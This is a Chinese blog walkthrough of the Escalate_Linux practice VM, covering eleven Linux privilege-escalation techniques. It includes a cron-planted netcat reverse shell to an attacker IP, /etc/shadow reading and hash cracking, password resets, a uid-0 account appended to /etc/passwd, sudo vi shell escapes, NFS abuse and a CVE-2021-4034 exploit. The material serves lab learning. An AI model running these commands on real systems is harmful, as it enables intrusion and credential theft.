# 利用Escalate_Linux靶机学习11种linux提权

利用Escalate_Linux靶机学习11种linux提权

搭建好之后,开始进行测试。

首先开一下kali,对网段的靶机进行一个扫描,arp-scan -l

发现主机

image-20220814122916292

做一个简单的外网打点,扫端口,扫目录,拿shell,进内网

image-20220814123432519

image-20220814123600420

image-20220814123612490

就直接给了个webshell

那现在就是拿主机的meterprete

使用msf进行攻击:

msfconsole
use exploit/multi/script/web_delivery

此模块支持在本地监听一个端口,别人一旦访问该端口就会将该端口内的文件读取至本地执行(把webshell放在该端口下刚刚好)

设置服务端和本地地址都为攻击机ip,运行如下:

set srvhost 192.168.52.129
set lhost 192.168.52.129

image-20220814135753234

把给出的代码放到靶机执行(记得要url编码一下

这样就拿到了一个meterpreter

image-20220814140443723

进入shell环境

image-20220814140534255

提权方式1:SUID提权

靶机、软件搭建:13—LinEnum.sh(本地Linux枚举和提权辅助脚本) - 灰信网(软件开发博客聚合) (freesion.com)

这里使用的是LinEnum.sh工具,下来我也会总结一个文章。

注:要进入tmp目录下继续wget,主要是因为tmp目录权限大。并且要先在kali上开启http.server的服务。

image-20220814141703512

先修改一下权限,然后执行脚本

chmod 777 LinEnum.sh
./LinEnum.sh |more

这个脚本会枚举出我们当前的一个linux环境的一些信息啊之类的东西。

使用以下命令找一下具有suid权限的程序

find / -perm -u=s -type f 2>/dev/null

image-20220814145141549

tips:上一步中,如果要直接显示文件的权限,可以使用以下命令

find / -user root -perm -4000 -type f 2>/dev/null -exec ls -l {} \;

进入目录,直接执行,拿到权限

cd /home/user3
./shell

image-20220814145618134

提权方式2:环境变量劫持提权

简单来说就是SUID文件的权限高,而它去调用其他命令时,我们劫持了这个命令,并且这个命令的内容是/bin/bash,这样就相当于使用root权限运行了命令,拿到了高权限的shell。

首先是在user5的用户下面发现了SUID文件,执行这个SUID文件,发现其命令类似于ls命令,那好了,我们也创建一个ls命令,但是这个ls执行的内容是/bin/bash,从而我们拿到了高权限的shell。

cd /home/user5
ls
./script
echo $PATH
cd ../../../../../../
echo "/bin/bash" > tmp/ls
export PATH=/tmp:$PATH 
echo $PATH  
chmod 755 /tmp/ls
./script

image-20220814151438796

提权方式3:破解/etc/shadow文件提权

这种方式实际上就是爆破root用户的密码

通过前面可知,我们能够通过命令劫持来拿到最高权限,那么我们也可以劫持命令,去读取/etc/shadow文件。

echo 'cat /etc/shadow' >/tmp/ls
./script

image-20220814153305096

接着复制root用户的账户和密码,并且保存为hash.txt

echo 'root:$6$mqjgcFoM$X/qNpZR6gXPAxdgDjFpaD1yPIqUF5l5ZDANRTKyvcHQwSqSxX5lA7n22kjEkQhSP6Uq7cPaYfzPSmgATM9cwD1' > hash.txt

使用john爆破

(95条消息) John使用手册_1_Can的博客-CSDN博客_john工具用法

john hash.txt

提权方式4:修改sudoers文件中的用户密码提权

还是使用前面的SUID文件,读取/etc/sudoers文件

echo 'cat /etc/sudoers' > /tmp/ls
./script

image-20220814160746738

改user1的密码

echo 'echo "user1:pi1grim" | chpasswd' >/tmp/ls
./script
su user1

image-20220814160808281

提权方式5:使用计划任务提权crontab

计划任务就是定时任务,一般运维会采用脚本去定时执行,但是如果权限配置不当的话,就会存在一些问题。
在开始介绍提权方式之前,先介绍下crontab,crontab是linux的计划任务,启动后的服务时crond,配置文件为/etc/crontab,可以通过配置文件定期执行程序或者命令。或者直接使用crontab命令也可以。

首先我们看一下crontab的配置文件

image-20220814161022978

发现有一个每五分钟以root权限执行一次的文件是在user4的目录下面,所以我们需要user4的权限,因此我们可以通过第四种提权方式,先修改一下user的密码,登录user4。

image-20220814174709181

此时我们具备了编辑定时任务的权限。一个简单而且直接的办法是使用nc直接反弹shell至本机,但是经过测试后发现不行。用msf反弹shell

msfvenom生成的反弹shell可以。

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.52.129 lport=8888

生成的payload如下

mkfifo /tmp/arnclzn; nc 192.168.52.129 8888 0</tmp/arnclzn | /bin/sh >/tmp/arnclzn 2>&1; rm /tmp/arnclzn

随后给他弄到定时文件中去

echo 'mkfifo /tmp/arnclzn; nc 192.168.52.129 8888 0</tmp/arnclzn | /bin/sh >/tmp/arnclzn 2>&1; rm /tmp/arnclzn'  > autoscript.sh

等待上线

nc -lnvp 8888

他奶奶的,结果路径搞错了,我等了半天没上线,cs也试了一下,我还以为是我的问题。

终于上线了,等我我好辛苦

image-20220814184036930

提权方式6:利用sudo提权

查看sudoers文件信息

echo 'cat /etc/sudoers' >/tmp/ls
chmod +x /tmp/ls
export PATH=/tmp:$PATH
/home/user5/script

image-20220814204440028

注意看sudoers文件中的user8用户,其可以通过root身份运行vi。这给提权创造了空间。为什么呢?因为vi存在交互模式,即可以在vi中运行命令。
在提权之前,我们要先进入user8用户

echo 'echo "user8:654321" | chpasswd' >/tmp/ls
/home/user5/script
su user8

查看一下授权列表

sudo -l

image-20220814204706956

打开vi,使用sudo的原因就是用root权限来执行

sudo vi   

在vi中输入以下命令,成功获取root权限的终端

:!/bin/bash

image-20220814205424020

注意:在拿到root权限后,想要退出当前终端可以使用exit命令退出,会重新回到vi界面中去,回到vi界面后,重新按照vi命令退出即可。

tips:上述演示是通过vi来获取root权限,其他要注意的命令包含find,less,more,git等等,在使用visudoers配置后,都会被利用来提权,比如使用

ls /etc | sudo more

然后输入

:!/bin/bash

也一样可以拿到root权限

如下这个例子是当find被授权后,利用find提权,在找到f1文件后,执行shell。

在这里插入图片描述

提权方式7:利用超级用户提权

还是在user6账户下,通过读取sudoers文件来查看用户权限情况

echo 'cat /etc/sudoers' >/tmp/ls
chmod +x /tmp/ls
export PATH=/tmp:$PATH
/home/user5/script

发现其中的user2有user1用户的权限,而user1又是root用户的权限,好了,这下也可以提权

image-20220814205914830

echo 'echo "user1:654321" | chpasswd' >/tmp/ls 
/home/user5/script
echo 'echo "user2:654321" | chpasswd' >/tmp/ls
/home/user5/script 
su user2

但是为什么不直接登录user1捏

然后sudo su就可了

提权方式8:利用/etc/passwd具有写入权限进行提权

思路:写入一个超级用户(uid为0的用户)进行提权
首先查看passwd文件的权限,发现属组对passwd文件有读写权限,这是不正确的配置。

/bin/ls -l /etc/passwd

image-20220814213927506

查看passwd文件发现user7属于root组

image-20220814214125378

我们可以编辑passwd文件,而passwd文件可以添加用户,那么我们就可以生成信息,然后添加到passwd文件中即可。

但是首先要拿到user7的权限,所以也和上面的那些差不多,先拿到其权限

echo 'echo "user7:654321" | chpasswd' >/tmp/ls 
/home/user5/script
su user7

passwd文件的含义如下

user7:x:1006:0:user7,,,:/home/user7:/bin/bash
用户名:用户密码(x表示存储在shadow文件中):用户ID:组ID:用户描述:家目录:用户shell

理论上,我们可以编辑以下一行添加test超级用户

test:123456:0:0:root/root:/bin/bash

但是其实不可以,因为不可以存储明文的密码,需要使用openssl来生成。

openssl passwd -1 -salt test 654321

image-20220814220231794

组装成passwd文件的样子

test:$1$VuLBG8GhqSK7eNFE4MsN10:0:0:root/root:/bin/bash

追加至passwd文件

echo 'test:$1$VuLBG8GhqSK7eNFE4MsN10:0:0:root/root:/bin/bash' >> /etc/passwd

登录test用户,获取root权限

test1:$1$test1$hGmveLQlOJfc5teE6BtC5.:0:0:root/root:/bin/bash

image-20220814221003363

(密码写错了再加了个用户)

提权方式9:利用mysql提权

通过查看本地开放的端口,发现存在一个mysql的服务

netstat -tnlp

image-20220814222402835

mysql -uroot -p

尝试连接,发现存在root弱口令

为什么我这里没有数据库啊

image-20220814222919719

反正大概思路就是在数据库里面找到了一个mysql账号的密码,而这台机器上面使用id mysql可以发现也有一个叫这个的用户,所以登录他。登录进去之后会发现一个存有root用户的敏感文件。

提权方式10:利用NFS提权

原理的简单解释:由于nfs一般是共享时使用的,因此存在登录的权限问题,在/etc/exports配置文件中,一般会出现两个配置选项,分别是no_root_squash和root_squash,Root Squashing(root_sqaush)参数阻止对连接到NFS卷的远程root用户具有root访问权限。远程根用户在连接时会分配一个用户“ nfsnobody ”,它具有最少的本地特权。如果 no_root_squash 选项开启的话”,并为远程用户授予root用户对所连接系统的访问权限。相信大家读到这个地方看出我们能利用的地方。
靶机中的/etc/exports配置信息

cat /etc/exports

image-20220814223425209

靶机中配置的最后一行出现了任意用户都有读写权限,而且是no_root_squash(注意,一定是这个选项才能提权)。
在攻击机查询靶机的nfs挂载信息

(我环境出问题了,用的别人的图片)

showmount -e 192.168.52.129

在这里插入图片描述

新建一个文件夹,并将靶机的文件夹挂载过来

mkdir nfs
mount -t nfs 192.168.80.129:/home/user5 /tmp/ls

在这里插入图片描述

访问挂载的文件夹,发现文件同步过来了

将攻击机的shell复制到这个文件夹中,那么就会在靶机上也有一个shell了

cp /usr/bin/sh .
chmod u+sx sh

使用-p选项执行sh,成功拿到root权限

/home/user5/sh -p

在这里插入图片描述

提权方式11:利用cve-2021-4034提权

SUID提权:CVE-2021-4034漏洞全解析 - 东北码农 - 博客园 (cnblogs.com)

https://github.com/berdav/CVE-2021-4034

这里exp下载

wget下载到靶机(记得进入tmp目录权限高点

然后解压

image-20220814230049997

进入文件夹,make编译,然后执行./cve-2021-4034.sh

cd cve-2021-4034-mian
make
./cve-2021-4034.sh

即可那下权限


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。